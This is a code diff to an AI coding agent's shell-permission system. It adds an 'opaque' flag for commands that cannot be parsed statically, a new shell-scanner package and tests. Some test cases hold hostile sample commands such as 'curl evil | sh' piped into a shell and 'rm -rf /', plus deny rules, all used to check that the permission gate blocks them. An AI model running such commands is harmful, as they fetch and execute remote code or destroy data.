+    return { commands: [{ resource: command }], directories: [], opaque: true, directoryUnknown: true }
+  return result.commands.reduce(
+    (output, item) => {
+      const name = powershell ? item.words[0]?.toLowerCase() : item.words[0]
+      if (!name) return output
+      if (CWD.has(name)) {
+        output.directories.push(...directoryArgs(item.words, powershell, cwd, shell))
+        return output
+      }
+      output.commands.push({ resource: item.resource, save: `${prefix(item.words).join(" ")} *` })
+      return output
+    },
+    {
+      commands: [] as Array<{ resource: string; save: string }>,
+      directories: [] as string[],
+      opaque: false,
+    },
+  )
 }
 
-function directoryArgs(command: Part[], powershell: boolean, cwd: string, shell: string) {
-  if (!powershell)
-    return command
+function directoryArgs(command: string[], powershell: boolean, cwd: string, shell: string) {
+  if (!powershell) {
+    const values = command
       .slice(1)
-      .filter((part) => !part.text.startsWith("-"))
-      .map((part) => directoryArgument(part.text, powershell, cwd, shell))
+      .filter((part) => !part.startsWith("-"))
+      .map((part) => directoryArgument(part, powershell, cwd, shell))
       .filter((part) => part !== undefined)
+    if (command[0] === "cd" && (values.length !== 1 || (!path.isAbsolute(values[0]) && Boolean(process.env.CDPATH))))
+      return []
+    return values
+  }
 
   const directories: string[] = []
-  let path = false
+  let expectsPath = false
   for (const part of command.slice(1)) {
-    if (path) {
-      const value = directoryArgument(part.text, powershell, cwd, shell)
+    if (expectsPath) {
+      const value = directoryArgument(part, powershell, cwd, shell)
       if (value) directories.push(value)
-      path = false
+      expectsPath = false
       continue
     }
-    if (part.type === "command_parameter") {
-      path = POWERSHELL_PATH_FLAGS.has(part.text.toLowerCase())
+    if (part.startsWith("-")) {
+      expectsPath = POWERSHELL_PATH_FLAGS.has(part.toLowerCase())
       continue
     }
-    const value = directoryArgument(part.text, powershell, cwd, shell)
+    const value = directoryArgument(part, powershell, cwd, shell)
     if (value) directories.push(value)
   }
   return directories
@@ -253,6 +244,7 @@ function expandKnownDirectory(value: string) {
   if (value.includes("$") || value.includes("`") || value.startsWith("(")) return
   if (value === "~") return os.homedir()
   if (value.startsWith("~/") || value.startsWith("~\\")) return path.join(os.homedir(), value.slice(2))
+  if (value.startsWith("~")) return
   return value
 }
 
@@ -269,28 +261,3 @@ function prefix(tokens: string[]) {
   }
   return tokens.slice(0, 1)
 }
-
-function resolve(asset: string) {
-  if (asset.startsWith("file://")) return fileURLToPath(asset)
-  if (path.isAbsolute(asset)) return asset
-  return fileURLToPath(new URL(asset, import.meta.url))
-}
-
-const load = (() => {
-  let loading: ReturnType<typeof initialize> | undefined
-  return () => (loading ??= initialize())
-})()
-
-async function initialize() {
-  const { Parser, Language } = await import("web-tree-sitter")
-  await Parser.init({ locateFile: () => resolve(shellParserWasm.runtime) })
-  const [bashLanguage, psLanguage] = await Promise.all([
-    Language.load(resolve(shellParserWasm.bash)),
-    Language.load(resolve(shellParserWasm.powershell)),
-  ])
-  const bash = new Parser()
-  bash.setLanguage(bashLanguage)
-  const ps = new Parser()
-  ps.setLanguage(psLanguage)
-  return { bash, ps }
-}

packages/core/src/shell/parser-wasm.bun.ts

@@ -1,8 +0,0 @@
-// @ts-ignore Bun embeds static file imports when compiling the CLI.
-import runtime from "web-tree-sitter/tree-sitter.wasm" with { type: "file" }
-// @ts-ignore Bun embeds static file imports when compiling the CLI.
-import bash from "tree-sitter-bash/tree-sitter-bash.wasm" with { type: "file" }
-// @ts-ignore Bun embeds static file imports when compiling the CLI.
-import powershell from "tree-sitter-powershell/tree-sitter-powershell.wasm" with { type: "file" }
-
-export const shellParserWasm = { runtime, bash, powershell }

packages/core/src/shell/parser-wasm.node.ts

@@ -1,11 +0,0 @@
-import { createRequire } from "node:module"
-
-const require = createRequire(import.meta.url)
-
-export const shellParserWasm = {
-  runtime: process.env.OPENCODE_TREE_SITTER_WASM_PATH ?? require.resolve("web-tree-sitter/tree-sitter.wasm"),
-  bash: process.env.OPENCODE_TREE_SITTER_BASH_WASM_PATH ?? require.resolve("tree-sitter-bash/tree-sitter-bash.wasm"),
-  powershell:
-    process.env.OPENCODE_TREE_SITTER_POWERSHELL_WASM_PATH ??
-    require.resolve("tree-sitter-powershell/tree-sitter-powershell.wasm"),
-}

packages/core/src/shell/parser-wasm.workerd.ts

@@ -1,4 +0,0 @@
-// workerd has no filesystem paths to tree-sitter wasm artifacts. ShellParse
-// loads these lazily and degrades when initialization fails, so empty paths
-// keep module load side-effect free instead of resolving from disk.
-export const shellParserWasm = { runtime: "", bash: "", powershell: "" }

packages/core/src/tool/plugin/shell.ts

@@ -183,11 +183,23 @@ export const Plugin = {
                           agent: context.agent,
                           source,
                         })
+                      if ("directoryUnknown" in parsed && parsed.directoryUnknown)
+                        yield* permission.assert({
+                          action: "external_directory",
+                          resources: ["*"],
+                          opaque: true,
+                          sessionID: context.sessionID,
+                          agent: context.agent,
+                          source,
+                        })
                       if (parsed.commands.length > 0)
                         yield* permission.assert({
                           action: name,
                           resources: parsed.commands.map((command) => command.resource),
-                          save: parsed.commands.map((command) => command.save),
+                          save: parsed.opaque
+                            ? undefined
+                            : parsed.commands.flatMap((command) => ("save" in command ? [command.save] : [])),
+                          opaque: parsed.opaque,
                           sessionID: context.sessionID,
                           agent: context.agent,
                           source,

packages/core/test/agent.test.ts

@@ -68,6 +68,26 @@ describe("Agent", () => {
     }),
   )
 
+  it.effect("lists the selected default agent first", () =>
+    Effect.gen(function* () {
+      const agent = yield* Agent.Service
+      yield* agent.transform((editor) => {
+        editor.update(Agent.ID.make("build"), (info) => {
+          info.mode = "primary"
+        })
+        editor.update(Agent.ID.make("reviewer"), (info) => {
+          info.mode = "primary"
+        })
+        editor.update(Agent.ID.make("explore"), (info) => {
+          info.mode = "subagent"
+        })
+        editor.default(Agent.ID.make("reviewer"))
+      })
+
+      expect((yield* agent.list()).map((info) => String(info.id))).toEqual(["reviewer", "build", "explore"])
+    }),
+  )
+
   it.effect("rebuilds state when a transform is replaced", () =>
     Effect.gen(function* () {
       const agent = yield* Agent.Service

packages/core/test/filesystem/search.test.ts

@@ -1,7 +1,8 @@
 import { describe, expect, test } from "bun:test"
 import os from "os"
 import path from "path"
-import { Effect, Layer } from "effect"
+import { Deferred, Effect, Layer } from "effect"
+import { TestClock } from "effect/testing"
 import { AppNodeBuilder } from "@opencode-ai/core/effect/app-node-builder"
 import { FileSystem } from "@opencode-ai/core/filesystem"
 import { Protected } from "@opencode-ai/core/filesystem/protected"
@@ -56,4 +57,70 @@ describe("FileSystemSearch", () => {
       }).pipe(Effect.provide(layer), Effect.scoped),
     )
   })
+
+  test("refreshes a stale ripgrep index atomically without blocking search", async () => {
+    let scans = 0
+    const initial = Effect.runSync(Deferred.make<void>())
+    const started = Effect.runSync(Deferred.make<void>())
+    const release = Effect.runSync(Deferred.make<void>())
+    const layer = AppNodeBuilder.build(FileSystemSearch.node, [
+      [
+        Location.node,
+        Layer.succeed(
+          Location.Service,
+          Location.Service.of(
+            location({ directory: AbsolutePath.make(path.join(os.tmpdir(), "opencode-search-atomic")) }),
+          ),
+        ),
+      ],
+      [
+        Ripgrep.node,
+        Layer.succeed(
+          Ripgrep.Service,
+          Ripgrep.Service.of({
+            find: (input) =>
+              Effect.gen(function* () {
+                scans++
+                if (scans > 1) {
+                  yield* Deferred.succeed(started, undefined)
+                  yield* Deferred.await(release)
+                }
+                const entry = FileSystem.Entry.make({
+                  path: RelativePath.make(scans === 1 ? "src/old.ts" : "src/new.ts"),
+                  type: "file",
+                })
+                if (input.onEntry) yield* input.onEntry(entry)
+                if (scans === 1) yield* Deferred.succeed(initial, undefined)
+                return [entry]
+              }),
+            glob: () => Effect.succeed([]),
+            grep: () => Effect.succeed([]),
+          }),
+        ),
+      ],
+    ])
+
+    await Effect.runPromise(
+      Effect.gen(function* () {
+        const search = yield* FileSystemSearch.Service
+        yield* Deferred.await(initial)
+        expect((yield* search.find({ query: "old", type: "file" }))[0]?.path).toBe(RelativePath.make("src/old.ts"))
+        expect(scans).toBe(1)
+
+        yield* TestClock.adjust("10 seconds")
+        yield* search.find({ query: "old", type: "file" })
+        yield* Deferred.await(started)
+
+        expect((yield* search.find({ query: "old", type: "file" }))[0]?.path).toBe(RelativePath.make("src/old.ts"))
+        expect(scans).toBe(2)
+        yield* Deferred.succeed(release, undefined)
+        const refreshed = yield* Effect.gen(function* () {
+          yield* Effect.yieldNow
+          return yield* search.find({ query: "new", type: "file" })
+        }).pipe(Effect.repeat({ until: (entries) => entries.length > 0 }))
+        expect(refreshed[0]?.path).toBe(RelativePath.make("src/new.ts"))
+        expect(scans).toBe(2)
+      }).pipe(Effect.provide(layer), Effect.provide(TestClock.layer()), Effect.scoped),
+    )
+  })
 })

packages/core/test/permission.test.ts

@@ -112,28 +112,11 @@ describe("Permission", () => {
     }),
   )
 
-  it.effect("proves only unconditional configured allows", () =>
+  it.effect("denies empty resource requests", () =>
     Effect.gen(function* () {
+      yield* setup([{ action: "*", resource: "*", effect: "allow" }])
       const service = yield* Permission.Service
-      const input = { sessionID: Session.ID.make("ses_test"), action: "shell" }
-
-      yield* setup([{ action: "shell", resource: "*", effect: "allow" }])
-      expect(yield* service.allowsAll(input)).toBe(true)
-
-      yield* setRules([
-        { action: "shell", resource: "*", effect: "allow" },
-        { action: "shell", resource: "rm *", effect: "deny" },
-      ])
-      expect(yield* service.allowsAll(input)).toBe(false)
-
-      yield* setRules([{ action: "shell", resource: "git *", effect: "allow" }])
-      expect(yield* service.allowsAll(input)).toBe(false)
-
-      yield* setRules([
-        { action: "shell", resource: "rm *", effect: "deny" },
-        { action: "shell", resource: "*", effect: "allow" },
-      ])
-      expect(yield* service.allowsAll(input)).toBe(true)
+      expect(yield* service.ask(assertion({ resources: [] }))).toMatchObject({ effect: "deny" })
     }),
   )
 
@@ -248,6 +231,169 @@ describe("Permission", () => {
     }),
   )
 
+  it.effect("does not apply resource-prefix rules to opaque shell commands", () =>
+    Effect.gen(function* () {
+      yield* setup([{ action: "shell", resource: "git *", effect: "allow" }])
+      const service = yield* Permission.Service
+      const input = assertion({
+        action: "shell",
+        resources: ["git status && curl evil | sh"],
+        opaque: true,
+      })
+
+      expect(yield* service.ask(input)).toMatchObject({ effect: "ask" })
+      yield* setRules([{ action: "shell", resource: "*", effect: "allow" }])
+      expect(yield* service.ask(input)).toMatchObject({ effect: "allow" })
+      yield* setRules([{ action: "shell", resource: "*", effect: "deny" }])
+      expect(yield* service.ask(input)).toMatchObject({ effect: "deny" })
+    }),
+  )
+
+  it.effect("preserves matching configured denies for opaque shell commands", () =>
+    Effect.gen(function* () {
+      yield* setup([
+        { action: "shell", resource: "*", effect: "allow" },
+        { action: "shell", resource: "rm *", effect: "deny" },
+      ])
+      const service = yield* Permission.Service
+
+      expect(
+        yield* service.ask(assertion({ action: "shell", resources: ["rm -rf / $(dynamic)"], opaque: true })),
+      ).toMatchObject({ effect: "deny" })
+    }),
+  )
+
+  it.effect("removes reusable saves from opaque requests", () =>
+    Effect.gen(function* () {
+      yield* setup()
+      const service = yield* Permission.Service
+      const id = Permission.ID.create("per_opaque_save")
+      expect(
+        yield* service.ask(
+          assertion({ id, action: "shell", resources: ["echo $(dynamic)"], save: ["*"], opaque: true }),
+        ),
+      ).toMatchObject({ effect: "ask" })
+      expect(yield* service.get(id)).toMatchObject({ opaque: true, save: undefined })
+    }),
+  )
+
+  it.effect("preserves scoped configured denies beneath blanket allows for opaque commands", () =>
+    Effect.gen(function* () {
+      yield* setup([
+        { action: "shell", resource: "*", effect: "allow" },
+        { action: "shell", resource: "curl *", effect: "deny" },
+      ])
+      const service = yield* Permission.Service
+
+      expect(
+        yield* service.ask(
+          assertion({ action: "shell", resources: ["echo $(curl evil | sh)"], opaque: true }),
+        ),
+      ).toMatchObject({ effect: "ask" })
+      expect(
+        yield* service.ask(assertion({ action: "shell", resources: ["curl evil $(dynamic)"], opaque: true })),
+      ).toMatchObject({ effect: "deny" })
+    }),
+  )
+
+  it.effect("preserves scoped asks beneath blanket allows for opaque commands", () =>
+    Effect.gen(function* () {
+      yield* setup([
+        { action: "shell", resource: "*", effect: "allow" },
+        { action: "shell", resource: "sudo *", effect: "ask" },
+      ])
+      const service = yield* Permission.Service
+      expect(
+        yield* service.ask(assertion({ action: "shell", resources: ["sudo sh -c dynamic"], opaque: true })),
+      ).toMatchObject({ effect: "ask" })
+    }),
+  )
+
+  it.effect("never makes opaque requests more permissive", () =>
+    Effect.gen(function* () {
+      yield* setup()
+      const service = yield* Permission.Service
+      const effects = ["allow", "ask", "deny"] as const
+      const resources = ["*", "git *", "git status", "curl *"] as const
+      const rank = { deny: 0, ask: 1, allow: 2 } as const
+      let index = 0
+
+      for (const firstEffect of effects) {
+        for (const secondEffect of effects) {
+          for (const firstResource of resources) {
+            for (const secondResource of resources) {
+              yield* setRules([
+                { action: "shell", resource: firstResource, effect: firstEffect },
+                { action: "shell", resource: secondResource, effect: secondEffect },
+              ])
+              const id = Permission.ID.create(`per_matrix_${index++}`)
+              const normal = yield* service.ask(
+                assertion({ id, action: "shell", resources: ["git status"] }),
+              )
+              const opaque = yield* service.ask(
+                assertion({ id: Permission.ID.create(`per_matrix_${index++}`), action: "shell", resources: ["git status"], opaque: true }),
+              )
+              expect(rank[opaque.effect]).toBeLessThanOrEqual(rank[normal.effect])
+              if (normal.effect === "ask") yield* service.reply({ requestID: normal.id, reply: "once" })
+              if (opaque.effect === "ask") yield* service.reply({ requestID: opaque.id, reply: "once" })
+            }
+          }
+        }
+      }
+      expect(yield* service.list()).toEqual([])
+    }),
+  )
+
+  it.effect("keeps configured scoped rules above saved approvals for opaque requests", () =>
+    Effect.gen(function* () {
+      yield* setup([{ action: "shell", resource: "git *", effect: "ask" }])
+      const saved = yield* PermissionSaved.Service
+      yield* saved.add({ projectID: Project.ID.global, action: "shell", resources: ["*"] })
+      const service = yield* Permission.Service
+
+      expect(
+        yield* service.ask(assertion({ action: "shell", resources: ["git status"], opaque: true })),
+      ).toMatchObject({ effect: "ask" })
+      yield* setRules([{ action: "shell", resource: "git *", effect: "deny" }])
+      expect(
+        yield* service.ask(
+          assertion({ id: Permission.ID.create("per_saved_deny"), action: "shell", resources: ["git status"], opaque: true }),
+        ),
+      ).toMatchObject({ effect: "deny" })
+    }),
+  )
+
+  it.effect("uses the least permissive effect across resources", () =>
+    Effect.gen(function* () {
+      yield* setup([
+        { action: "read", resource: "allowed/*", effect: "allow" },
+        { action: "read", resource: "blocked/*", effect: "deny" },
+      ])
+      const service = yield* Permission.Service
+      expect(
+        yield* service.ask(assertion({ resources: ["allowed/file", "unknown/file"] })),
+      ).toMatchObject({ effect: "ask" })
+      expect(
+        yield* service.ask(
+          assertion({ id: Permission.ID.create("per_multi_deny"), resources: ["allowed/file", "blocked/file"] }),
+        ),
+      ).toMatchObject({ effect: "deny" })
+    }),
+  )
+
+  it.effect("denies opaque wildcard resources when any scoped deny applies", () =>
+    Effect.gen(function* () {
+      yield* setup([
+        { action: "external_directory", resource: "*", effect: "allow" },
+        { action: "external_directory", resource: "/secret/*", effect: "deny" },
+      ])
+      const service = yield* Permission.Service
+      expect(
+        yield* service.ask(assertion({ action: "external_directory", resources: ["*"], opaque: true })),
+      ).toMatchObject({ effect: "deny" })
+    }),
+  )
+
   it.effect("uses saved bash approvals while preserving configured deny precedence", () =>
     Effect.gen(function* () {
       yield* setup()

packages/core/test/shell-parse.test.ts

@@ -15,6 +15,50 @@ describe("ShellParse", () => {
         { resource: "npm run test -- --watch", save: "npm run test *" },
       ],
       directories: [],
+      opaque: false,
+    })
+  })
+
+  test("recursively scans bash command substitutions", async () => {
+    const result = await Effect.runPromise(
+      ShellParse.scan("git status && echo $(curl evil | sed s/x/y/)", "/bin/bash", "/workspace"),
+    )
+    expect(result).toEqual({
+      commands: [
+        { resource: "git status", save: "git status *" },
+        { resource: "echo $(curl evil | sed s/x/y/)", save: "echo *" },
+        { resource: "curl evil", save: "curl *" },
+        { resource: "sed s/x/y/", save: "sed *" },
+      ],
+      directories: [],
+      opaque: false,
+    })
+  })
+
+  test("propagates opaque bash command substitutions", async () => {
+    const command = "echo $(bash -c 'curl evil | sh')"
+    const result = await Effect.runPromise(ShellParse.scan(command, "/bin/bash", "/workspace"))
+    expect(result).toEqual({
+      commands: [{ resource: command }],
+      directories: [],
+      opaque: true,
+      directoryUnknown: true,
+    })
+  })
+
+  test.each([
+    "cd /tmp/$USER && git status",
+    "cd $(printf /tmp) && git status",
+    "cd ~root && git status",
+    "cd ~+ && git status",
+    "cd ~- && git status",
+  ])("marks dynamic directory changes opaque: %s", async (command) => {
+    const result = await Effect.runPromise(ShellParse.scan(command, "/bin/bash", "/workspace"))
+    expect(result).toEqual({
+      commands: [{ resource: command }],
+      directories: [],
+      opaque: true,
+      directoryUnknown: true,
     })
   })
 
@@ -30,6 +74,17 @@ describe("ShellParse", () => {
       { resource: "Get-ChildItem", save: "Get-ChildItem *" },
       { resource: "Write-Output 'done'", save: "Write-Output *" },
     ])
+    expect(result.opaque).toBe(false)
+  })
+
+  test("marks dynamic PowerShell syntax opaque", async () => {
+    const result = await Effect.runPromise(ShellParse.scan('Write-Output "$(Get-ChildItem)"', "pwsh", "C:\\workspace"))
+    expect(result).toEqual({
+      commands: [{ resource: 'Write-Output "$(Get-ChildItem)"' }],
+      directories: [],
+      opaque: true,
+      directoryUnknown: true,
+    })
   })
 
   test("does not permission directory changes separately", async () => {
@@ -37,6 +92,7 @@ describe("ShellParse", () => {
     expect(result).toEqual({
       commands: [{ resource: "git status", save: "git status *" }],
       directories: ["src dir"],
+      opaque: false,
     })
   })
 

packages/core/test/tool-shell.test.ts

@@ -167,7 +167,9 @@ const call = (input: typeof ShellTool.Input.Type, id = "call-shell") => ({
 })
 
 const isWindows = process.platform === "win32"
-const cwdCommand = isWindows ? "(Get-Location).Path; Start-Sleep -Milliseconds 100" : "pwd"
+const cwdCommand = isWindows
+  ? "Get-Location | Select-Object -ExpandProperty Path; Start-Sleep -Milliseconds 100"
+  : "pwd"
 const helloCommand = isWindows ? "[Console]::Out.Write('hello'); Start-Sleep -Milliseconds 100" : "printf hello"
 const stderrCommand = isWindows
   ? "[Console]::Error.Write('stderr only'); Start-Sleep -Milliseconds 100"
@@ -443,7 +445,7 @@ describe("ShellTool", () => {
         ([active, outside]) => {
           reset()
           const command = isWindows
-            ? `Set-Location -LiteralPath '${outside.path}'; (Get-Location).Path`
+            ? `Set-Location -LiteralPath '${outside.path}'; Get-Location | Select-Object -ExpandProperty Path`
             : `cd '${outside.path}' && pwd`
           return withSession(active.path, (registry) =>
             executeTool(registry, call({ command }, "call-external-cd")),
@@ -471,7 +473,9 @@ describe("ShellTool", () => {
       Effect.promise(() => tmpdir()),
       (tmp) => {
         reset()
-        const command = isWindows ? "Set-Location $HOME; (Get-Location).Path" : "cd ~ && pwd"
+        const command = isWindows
+          ? "Set-Location $HOME; Get-Location | Select-Object -ExpandProperty Path"
+          : "cd ~ && pwd"
         return withSession(tmp.path, (registry) => executeTool(registry, call({ command }, "call-external-home"))).pipe(
           Effect.andThen(
             Effect.sync(() => {

packages/protocol/src/groups/permission.ts

@@ -4,7 +4,7 @@ import { Permission } from "@opencode-ai/schema/permission"
 import { PermissionSaved } from "@opencode-ai/schema/permission-saved"
 import { Project } from "@opencode-ai/schema/project"
 import { Session } from "@opencode-ai/schema/session"
-import { Context, Schema } from "effect"
+import { Context, Schema, Struct } from "effect"
 import { HttpApiEndpoint, HttpApiGroup, HttpApiMiddleware, HttpApiSchema, OpenApi } from "effect/unstable/httpapi"
 import { PermissionNotFoundError, SessionNotFoundError } from "../errors.js"
 import { LocationQuery, locationQueryOpenApi } from "./location.js"
@@ -64,11 +64,7 @@ export const makePermissionGroup = <
         params: { sessionID: Session.ID },
         payload: Schema.Struct({
           id: Permission.ID.pipe(Schema.optional),
-          action: Permission.Request.fields.action,
-          resources: Permission.Request.fields.resources,
-          save: Permission.Request.fields.save,
-          metadata: Permission.Request.fields.metadata,
-          source: Permission.Request.fields.source,
+          ...Struct.omit(Permission.Request.fields, ["id", "sessionID"]),
           agent: Agent.ID.pipe(Schema.optional),
         }),
         success: Schema.Struct({

packages/schema/src/permission.ts

@@ -27,6 +27,7 @@ const RequestFields = {
   action: Schema.String,
   resources: Schema.Array(Schema.String),
   save: Schema.Array(Schema.String).pipe(optional),
+  opaque: Schema.Boolean.pipe(optional),
   metadata: Schema.Record(Schema.String, Schema.Unknown).pipe(optional),
   source: Source.pipe(optional),
 }

packages/server/src/handlers/permission.ts

@@ -33,6 +33,7 @@ export const PermissionHandler = HttpApiBuilder.group(Api, "server.permission",
                 action: ctx.payload.action,
                 resources: ctx.payload.resources,
                 save: ctx.payload.save,
+                opaque: ctx.payload.opaque,
                 metadata: ctx.payload.metadata,
                 source: ctx.payload.source,
                 agent: ctx.payload.agent,

packages/shell-scan/package.json

@@ -0,0 +1,21 @@
+{
+  "$schema": "https://json.schemastore.org/package.json",
+  "name": "@opencode-ai/shell-scan",
+  "version": "0.0.0",
+  "private": true,
+  "type": "module",
+  "exports": {
+    ".": "./src/index.ts"
+  },
+  "scripts": {
+    "research:execution": "bun run research/execution-oracle.ts",
+    "research:powershell": "bun run research/powershell-conformance.ts",
+    "test": "bun test --only-failures",
+    "typecheck": "tsgo --noEmit"
+  },
+  "devDependencies": {
+    "@tsconfig/bun": "catalog:",
+    "@types/bun": "catalog:",
+    "@typescript/native-preview": "catalog:"
+  }
+}

packages/shell-scan/research/README.md

@@ -0,0 +1,41 @@
+# Shell Permission Scanner Research
+
+## Goal
+
+Produce reusable permission resources only when every shell-language command position in supported Bash and PowerShell subsets is statically identified. Unsupported or malformed shell syntax must be opaque.
+
+This scanner does not interpret command-specific argument languages. Source files, callbacks, plugins, package scripts, remote commands, and other executable behavior delegated through an allowed program remain part of that program's permission boundary.
+
+## Conformance
+
+```sh
+bun run research:execution
+PWSH=/path/to/pwsh bun run research:powershell
+```
+
+The execution oracle runs generated programs against isolated fake executables under Bash and zsh, validating shell syntax and comparing actual dispatches with scanner command heads. The PowerShell oracle uses the official `System.Management.Automation.Language.Parser` through a development-only `pwsh` subprocess. Neither oracle is a runtime dependency.
+
+## Supported subset
+
+- Static command names and arguments
+- Single and double quotes
+- Backslash escapes and line continuation
+- `&&`, `||`, `;`, newline, `|`, and `|&`
+- Static assignment prefixes
+- Simple redirects
+- Comments
+- Recursive Bash `$()` and backtick command substitutions when every nested command is supported
+
+## Opaque subset
+
+- Bash process substitution and arithmetic expansion
+- PowerShell subexpressions, arrays, scriptblocks, and here strings
+- Heredocs and here strings
+- Dynamic command names
+- Shell evaluators and command wrappers
+- Commands that consume source, callbacks, scripts, or mutate command resolution
+- Context-dependent directory changes that cannot be resolved before execution
+- Compound and background commands
+- Malformed syntax
+
+The TUI's independent tree-sitter grammar remains for syntax highlighting. Core has no tree-sitter runtime dependency.

packages/shell-scan/research/execution-oracle.ts

@@ -0,0 +1,319 @@
+import { chmodSync, mkdtempSync, mkdirSync, rmSync, symlinkSync } from "node:fs"
+import { tmpdir } from "node:os"
+import { join } from "node:path"
+import { ShellScan } from "../src/index.js"
+
+const shells = [
+  { name: "bash", path: "/opt/homebrew/bin/bash", args: ["--noprofile", "--norc"], strict: true },
+  { name: "bash-system", path: "/bin/bash", args: ["--noprofile", "--norc"], strict: false },
+  { name: "zsh", path: "/bin/zsh", args: ["-f"], strict: true },
+] as const
+
+const commands = ["oracle_alpha", "oracle_beta", "oracle_gamma", "oracle_fail"] as const
+const successes = commands.slice(0, 3)
+const cases = new Map<string, Set<string>>()
+
+function add(category: string, source: string) {
+  const categories = cases.get(source) ?? new Set<string>()
+  categories.add(category)
+  cases.set(source, categories)
+}
+
+const arguments_ = [
+  "",
+  " plain",
+  " 'single ; | && # $(oracle_gamma)'",
+  ' "double ; | && #"',
+  " escaped\\;separator",
+  " hash#inside",
+  " 'two words' tail",
+  ' "dollar $HOME"',
+  " backslash\\ space",
+] as const
+const assignments = ["", "X=plain ", "X='two words' ", 'X="two words" '] as const
+const redirects = ["", " > output", " 2> error", " < empty"] as const
+
+for (const command of commands) {
+  for (const assignment of assignments) {
+    for (const argument of arguments_) {
+      for (const redirect of redirects) add("simple", assignment + command + argument + redirect)
+    }
+  }
+}
+
+const separators = [" ; ", " && ", " || ", " | ", " |& ", "\n"] as const
+for (const left of commands) {
+  for (const separator of separators) {
+    for (const right of successes) add("separator", left + separator + right + " final")
+  }
+}
+
+const substitutions = [
+  (outer: string, inner: string) => `${outer} $(${inner})`,
+  (outer: string, inner: string) => `${outer} "$(${inner})"`,
+  (outer: string, inner: string) => `${outer} pre$(${inner})post`,
+  (outer: string, inner: string) => `X=$(${inner}) ${outer}`,
+  (outer: string, inner: string) => `${outer} >$(${inner})`,
+  (outer: string, inner: string) => `${outer} \`${inner}\``,
+  (outer: string, inner: string) => `${outer} "$(${inner} "$(oracle_gamma)")"`,
+  (outer: string, inner: string) => `${outer} "$(${inner} one; oracle_gamma two)"`,
+] as const
+for (const outer of successes) {
+  for (const inner of commands) {
+    for (const substitution of substitutions) add("substitution", substitution(outer, inner))
+  }
+}
+
+for (const command of successes) {
+  add("comment", `${command} before # oracle_fail ignored\noracle_beta after`)
+  add("comment", `# ${command} ignored\noracle_beta after`)
+  add("comment", `${command} hash#word # oracle_fail ignored`)
+  add("continuation", `${command} before\\\nafter`)
+  add("continuation", `${command} before \\\n after ; oracle_beta`)
+  add("quote", `'${command}' quoted-head`)
+  add("quote", `"${command}" quoted-head`)
+  add("quote", `${command.slice(0, 7)}\\${command.slice(7)} escaped-head`)
+}
+
+add("conditional", "oracle_fail || oracle_alpha recovered")
+add("conditional", "oracle_fail && oracle_alpha unreachable")
+add("conditional", "oracle_alpha || oracle_fail unreachable")
+add("conditional", "oracle_alpha && oracle_beta reached")
+add("dynamic", "NAME=oracle_alpha; $NAME dynamic-head")
+add("dynamic", "oracle_alpha $(NAME=oracle_beta; $NAME nested-dynamic)")
+add("literal", "oracle_alpha '$(oracle_fail)' 'literal ` text'")
+
+let randomState = 0x5eed1234
+const random = (length: number) => {
+  randomState = (Math.imul(randomState, 1664525) + 1013904223) >>> 0
+  return randomState % length
+}
+const atoms = [
+  ...commands,
+  ...successes.map((command) => `${command} plain`),
+  ...successes.map((command) => `${command} 'literal ; | #'`),
+  ...successes.map((command) => `${command} \"literal ; | #\"`),
+  ...successes.map((command) => `X=value ${command}`),
+] as const
+for (let iteration = 0; iteration < 2_500; iteration++) {
+  const left = `${atoms[random(atoms.length)]} fuzz${iteration}`
+  const right = `${atoms[random(atoms.length)]} fuzz${iteration}`
+  const nested = successes[random(successes.length)]
+  const forms = [
+    `${left}${separators[random(separators.length)]}${right}`,
+    `${left} $(${right})`,
+    `${left} \"$(${right})\"`,
+    `${left} pre$(${right})post`,
+    `X=$(${right}) ${left}`,
+    `${left} $(${right}; ${nested})`,
+    `${left} before # ignored\n${right}`,
+    `${left} before\\\nafter; ${right}`,
+  ]
+  add("deterministic-random", forms[iteration % forms.length])
+}
+
+const executionCases = [...cases].map(([source, categories], caseIndex) => {
+  let occurrence = 0
+  const names: string[] = []
+  const unique = source.replace(/\boracle_(?:alpha|beta|gamma|fail)\b/g, () => {
+    const name = `oracle_${caseIndex}_${occurrence++}`
+    names.push(name)
+    return name
+  })
+  return { source: unique, categories, names }
+})
+
+const root = mkdtempSync(join(tmpdir(), "shell-scan-execution-oracle-"))
+const bin = join(root, "bin")
+const work = join(root, "work")
+const log = join(root, "dispatch.log")
+mkdirSync(bin)
+mkdirSync(work)
+await Bun.write(join(work, "empty"), "")
+await Bun.write(
+  join(bin, "oracle-command"),
+  `#!/bin/sh
+name=\${0##*/}
+printf '%s\\n' "$name" >> "$ORACLE_LOG"
+printf '%s\\n' "$name"
+[ "$ORACLE_MODE" = failure ] && exit 1
+`,
+)
+chmodSync(join(bin, "oracle-command"), 0o755)
+for (const name of executionCases.flatMap((item) => item.names)) symlinkSync("oracle-command", join(bin, name))
+
+type Finding = {
+  shell: string
+  categories: string[]
+  source: string
+  dispatched: string[]
+  scanned: string[]
+  missing: string[]
+  status: number
+  stderr: string
+  reason: "dispatch" | "parse"
+}
+
+const findings: Finding[] = []
+const metrics = Object.fromEntries(
+  shells.map((shell) => [shell.name, { executed: 0, parsed: 0, scanned: 0, opaque: 0, dispatches: 0, violations: 0 }]),
+)
+const coverage = Object.fromEntries(
+  shells.flatMap((shell) =>
+    [...new Set(executionCases.flatMap((item) => [...item.categories]))].map((category) => [
+      `${shell.name}:${category}`,
+      { scanned: 0, dispatches: 0 },
+    ]),
+  ),
+)
+const versions = Object.fromEntries(
+  shells.map((shell) => {
+    const version = Bun.spawnSync([shell.path, "--version"], { stdout: "pipe", stderr: "pipe" })
+    return [shell.name, (version.stdout.toString() || version.stderr.toString()).split("\n")[0]?.trim()]
+  }),
+)
+
+try {
+  for (const shell of shells) {
+    for (const { source, categories } of executionCases) {
+      const result = ShellScan.scan(source)
+      const metric = metrics[shell.name]
+      metric.executed++
+      const parsed = Bun.spawnSync([shell.path, ...shell.args, "-n", "-c", source], {
+        cwd: work,
+        env: { HOME: root, PATH: bin, ZDOTDIR: root },
+        stdin: "ignore",
+        stdout: "ignore",
+        stderr: "pipe",
+      })
+      if (parsed.exitCode === 0) metric.parsed++
+      if (result.kind === "scanned" && parsed.exitCode !== 0 && shell.strict) {
+        metric.violations++
+        findings.push({
+          shell: shell.name,
+          categories: [...categories],
+          source,
+          dispatched: [],
+          scanned: result.commands.map((command) => command.words[0] ?? ""),
+          missing: [],
+          status: parsed.exitCode,
+          stderr: parsed.stderr.toString().trim(),
+          reason: "parse",
+        })
+        continue
+      }
+      if (parsed.exitCode !== 0) continue
+      if (result.kind === "opaque") {
+        metric.opaque++
+        continue
+      }
+      metric.scanned++
+      const dispatched = new Set<string>()
+      let status = 0
+      let stderr = ""
